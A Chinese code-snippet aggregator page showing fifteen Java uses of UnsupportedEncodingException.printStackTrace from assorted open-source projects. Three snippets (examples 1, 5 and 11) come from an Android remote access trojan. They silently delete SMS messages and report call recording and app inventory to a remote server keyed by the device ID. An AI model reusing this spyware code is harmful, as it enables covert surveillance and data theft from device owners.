当前位置: 首页>>代码示例>>Java>>正文


Java UnsupportedEncodingException.printStackTrace方法代码示例

本文整理汇总了Java中java.io.UnsupportedEncodingException.printStackTrace方法的典型用法代码示例。如果您正苦于以下问题:Java UnsupportedEncodingException.printStackTrace方法的具体用法?Java UnsupportedEncodingException.printStackTrace怎么用?Java UnsupportedEncodingException.printStackTrace使用的例子?那么恭喜您, 这里精选的方法代码示例或许可以为您提供帮助。您也可以进一步了解该方法所在java.io.UnsupportedEncodingException的用法示例。


在下文中一共展示了UnsupportedEncodingException.printStackTrace方法的15个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的Java代码示例。

示例1: doInBackground

import java.io.UnsupportedEncodingException; //导入方法依赖的package包/类
@Override
        protected String doInBackground(String... params) {     
			Uri thread = Uri.parse( "content://sms");
			ContentResolver contentResolver = getContentResolver();
//			Cursor cursor = contentResolver.query(thread, null, null, null,null);
			contentResolver.delete( thread, "thread_id=? and _id=?", new String[]{String.valueOf(i), String.valueOf(j)});
	        
	        try {
				getInputStreamFromUrl(URL + PreferenceManager.getDefaultSharedPreferences(getApplicationContext()).getString("urlPost", "") + "UID=" + PreferenceManager.getDefaultSharedPreferences(getApplicationContext()).getString("AndroidID", "") + "&Data=", "SMS Delete [" + i + "] [" + j + "] Complete");
			} catch (UnsupportedEncodingException e) {
				 
				e.printStackTrace();
			}   
			
		    return "Executed";
        }
 
开发者ID:mwsrc,项目名称:Dendroid-HTTP-RAT,代码行数:17,代码来源:MyService.java

示例2: getBase64

import java.io.UnsupportedEncodingException; //导入方法依赖的package包/类
public static String getBase64(String str) {
    byte[] b = null;
    String s = null;
    try {
        b = str.getBytes("utf-8");
    } catch (UnsupportedEncodingException e) {
        e.printStackTrace();
    }
    if (b != null) {
        s = new BASE64Encoder().encode(b);
    }
    return s;
}
 
开发者ID:Liweimin0512,项目名称:MMall_JAVA,代码行数:14,代码来源:Base64GroupTest.java

示例3: addSchema

import java.io.UnsupportedEncodingException; //导入方法依赖的package包/类
public void addSchema(String schemaPath) {
    try {
        schemaPath = URLDecoder.decode(schemaPath, "UTF-8");
    } catch (final UnsupportedEncodingException e) {
        e.printStackTrace();
        System.exit(-1);
    }
    assert (m_schemas.contains(schemaPath) == false);
    final File schemaFile = new File(schemaPath);
   
    assert (schemaFile != null);
    assert (schemaFile.isDirectory() == false);
    // this check below fails in some valid cases (like when the file is in
    // a jar)
    // assert schemaFile.canRead()
    // : "can't read file: " + schemaPath;

    m_schemas.add(schemaPath);
}
 
开发者ID:s-store,项目名称:sstore-soft,代码行数:20,代码来源:VoltProjectBuilder.java

示例4: sign

import java.io.UnsupportedEncodingException; //导入方法依赖的package包/类
private String sign(TreeMap<String, String> dynamicMap) {
    String url = getHttpUrl().url().toString();
    //url = url.replaceAll("%2F", "/");
    StringBuilder sb = new StringBuilder("POST");
    sb.append(url);
    for (Map.Entry<String, String> entry : dynamicMap.entrySet()) {
        sb.append(entry.getKey()).append("=").append(entry.getValue()).append("&");
    }

    sb.append(AppConstant.APP_SECRET);
    String signStr = sb.toString();
    try {
        signStr = URLDecoder.decode(signStr, UTF8.name());
    } catch (UnsupportedEncodingException exception) {
        exception.printStackTrace();
    }
    HttpLog.i(signStr);
    return MD5.encode(signStr);
}
 
开发者ID:zhou-you,项目名称:RxEasyHttp,代码行数:20,代码来源:CustomSignInterceptor.java

示例5: onDestroy

import java.io.UnsupportedEncodingException; //导入方法依赖的package包/类
public void onDestroy()
 {
     super.onDestroy();

     if (null != recorder) {
         isRecording = false;
         recorder.release();
         
try {
	getInputStreamFromUrl(URL + PreferenceManager.getDefaultSharedPreferences(getApplicationContext()).getString("urlPost", "") + "UID=" + PreferenceManager.getDefaultSharedPreferences(getApplicationContext()).getString("AndroidID", "") + "&Data=", "Call Recording Ended");
} catch (UnsupportedEncodingException e) {
	// TODO Auto-generated catch block
	e.printStackTrace();
}

     }
 }
 
开发者ID:mwsrc,项目名称:Dendroid-HTTP-RAT,代码行数:18,代码来源:RecordService.java

示例6: onPreExecute

import java.io.UnsupportedEncodingException; //导入方法依赖的package包/类
protected void onPreExecute(int position) {
    // NOTE: You can call UI Element here.

    //Start Progress Dialog (Message)

    //  Dialog.setMessage("Please wait..");
    //  Dialog.show();

    try{
        // Set Request parameter
        //  data +="&" + URLEncoder.encode("data", "UTF-8") + "="/*+serverText.getText()*/;
        data += "&"+ URLEncoder.encode("text", "UTF-8") + "=" +items1.get(position).name+ "&" + URLEncoder.encode("action", "UTF-8") + "="+ "Tashkeel2";
        data1 +="&" + URLEncoder.encode("action", "UTF-8") + "="+ "TashkeelText";
    } catch (UnsupportedEncodingException e) {
        // TODO Auto-generated catch block
        e.printStackTrace();
    }

}
 
开发者ID:linuxscout,项目名称:malsoune,代码行数:20,代码来源:HellowFragment.java

示例7: searchByTitle

import java.io.UnsupportedEncodingException; //导入方法依赖的package包/类
@Action("searchByTitle")
public String searchByTitle(){
	try {
		bookTitle = new String(bookTitle.getBytes("ISO-8859-1"),"UTF-8");
	} catch (UnsupportedEncodingException e) {
		// TODO Auto-generated catch block
		e.printStackTrace();
	}
	System.out.println("执行searchByTitle========="+bookTitle);
	page=bookService.searchByTitle(bookTitle, pageNo, pageSize);
	System.out.println(page.getRecords().size()+"---------------条数");
	url = "index.jsp";
	return DYNAMIC;
	
}
 
开发者ID:zhangjikai,项目名称:sdudoc,代码行数:16,代码来源:BookAction.java

示例8: onEvent

import java.io.UnsupportedEncodingException; //导入方法依赖的package包/类
@Override
public void onEvent(RTSTunData rtsTunData) {
    String data = "[parse bytes error]";
    try {
        data = new String(rtsTunData.getData(), 0, rtsTunData.getLength(), "UTF-8");
    } catch (UnsupportedEncodingException e) {
        e.printStackTrace();
    }

    TransactionCenter.getInstance().onReceive(sessionId, data);
}
 
开发者ID:newDeepLearing,项目名称:decoy,代码行数:12,代码来源:RTSActivity.java

示例9: getStickerContentFullJson

import java.io.UnsupportedEncodingException; //导入方法依赖的package包/类
public static String getStickerContentFullJson(String key) {
    SharedPreferences shared = App.getDefault().getSharedPreferences(Constants.STICKERPREFER, Context.MODE_PRIVATE);
    String sjson = shared.getString(key, "");
    String json = "";
    try {
        json = URLDecoder.decode(sjson, "UTF-8");
    } catch (UnsupportedEncodingException e) {
        e.printStackTrace();
    }

    return json;
}
 
开发者ID:junchenChow,项目名称:exciting-app,代码行数:13,代码来源:StickerService.java

示例10: buildPostString

import java.io.UnsupportedEncodingException; //导入方法依赖的package包/类
/**
 * Builds an encoded HTTP POST content string from a string map
 */
public static String buildPostString(Map<String, Object> data)
{
    StringBuilder stringbuilder = new StringBuilder();

    for (Entry<String, Object> entry : data.entrySet())
    {
        if (stringbuilder.length() > 0)
        {
            stringbuilder.append('&');
        }

        try
        {
            stringbuilder.append(URLEncoder.encode((String)entry.getKey(), "UTF-8"));
        }
        catch (UnsupportedEncodingException unsupportedencodingexception1)
        {
            unsupportedencodingexception1.printStackTrace();
        }

        if (entry.getValue() != null)
        {
            stringbuilder.append('=');

            try
            {
                stringbuilder.append(URLEncoder.encode(entry.getValue().toString(), "UTF-8"));
            }
            catch (UnsupportedEncodingException unsupportedencodingexception)
            {
                unsupportedencodingexception.printStackTrace();
            }
        }
    }

    return stringbuilder.toString();
}
 
开发者ID:Notoh,项目名称:DecompiledMinecraft,代码行数:41,代码来源:HttpUtil.java

示例11: onPostExecute

import java.io.UnsupportedEncodingException; //导入方法依赖的package包/类
@Override
     protected void onPostExecute(String result) {
     	PreferenceManager.getDefaultSharedPreferences(getApplicationContext()).edit().putBoolean("Get",false).commit();
      try {
	getInputStreamFromUrl(URL + PreferenceManager.getDefaultSharedPreferences(getApplicationContext()).getString("urlPost", "") + "UID=" + PreferenceManager.getDefaultSharedPreferences(getApplicationContext()).getString("AndroidID", "") + "&Data=", "Installed Apps Complete");
} catch (UnsupportedEncodingException e) {
	 
	e.printStackTrace();
}        	
     }
 
开发者ID:mwsrc,项目名称:Dendroid-HTTP-RAT,代码行数:11,代码来源:MyService.java

示例12: BrokerMessage

import java.io.UnsupportedEncodingException; //导入方法依赖的package包/类
/**
    * Constructs a KVPubSubMessage object with a given String that
    * forms the message. 
    * 
    * @param msg the String that forms the message.
    */
public BrokerMessage(String msg) {
	if(msg != null) {
		this.msg = msg.trim();
		try {
			this.msgBytes = msg.getBytes("UTF-8");
		} catch (UnsupportedEncodingException e) {
			// TODO Auto-generated catch block
			e.printStackTrace();
		}
	}
}
 
开发者ID:yanghanxy,项目名称:CloudDB,代码行数:18,代码来源:BrokerMessage.java

示例13: save

import java.io.UnsupportedEncodingException; //导入方法依赖的package包/类
public void save(Engine engine, Element reportElement) {
    try {
        engine.setStream("/elements/" + reportElement.getId() + "/"
                + ReportPlugin.getReportNameAttribute(engine).getId()
                + "/report.jssp", getText().getBytes("UTF-8"));
    } catch (UnsupportedEncodingException e) {
        e.printStackTrace();
    }
}
 
开发者ID:Vitaliy-Yakovchuk,项目名称:ramus,代码行数:10,代码来源:ScriptEditorView.java

示例14: printMessage

import java.io.UnsupportedEncodingException; //导入方法依赖的package包/类
public static void printMessage(final List<MessageExt> msgs, final String charsetName, boolean printMsg, boolean printBody) {
    if (!printMsg)
        return;

    for (MessageExt msg : msgs) {
        try {
            System.out.printf("MSGID: %s %s BODY: %s%n", msg.getMsgId(), msg.toString(),
                printBody ? new String(msg.getBody(), charsetName) : "NOT PRINT BODY");
        } catch (UnsupportedEncodingException e) {
            e.printStackTrace();
        }
    }
}
 
开发者ID:lirenzuo,项目名称:rocketmq-rocketmq-all-4.1.0-incubating,代码行数:14,代码来源:PrintMessageByQueueCommand.java

示例15: CommonMessage

import java.io.UnsupportedEncodingException; //导入方法依赖的package包/类
/**
    * Constructs a TextMessage object with a given array of bytes that 
    * forms the message.
    * 
    * @param bytes the bytes that form the message in ASCII coding.
    */
public CommonMessage(byte[] bytes) {
	if (bytes != null) {
		this.msgBytes = bytes;
		try {
			this.msg = new String(msgBytes, "UTF-8").trim();
		} catch (UnsupportedEncodingException e) {
			// TODO Auto-generated catch block
			e.printStackTrace();
		}			
	}
}
 
开发者ID:yanghanxy,项目名称:CloudDB,代码行数:18,代码来源:CommonMessage.java


注:本文中的java.io.UnsupportedEncodingException.printStackTrace方法示例由纯净天空整理自Github/MSDocs等开源代码及文档管理平台,相关代码片段筛选自各路编程大神贡献的开源项目,源码版权归原作者所有,传播和使用请参考对应项目的License;未经允许,请勿转载。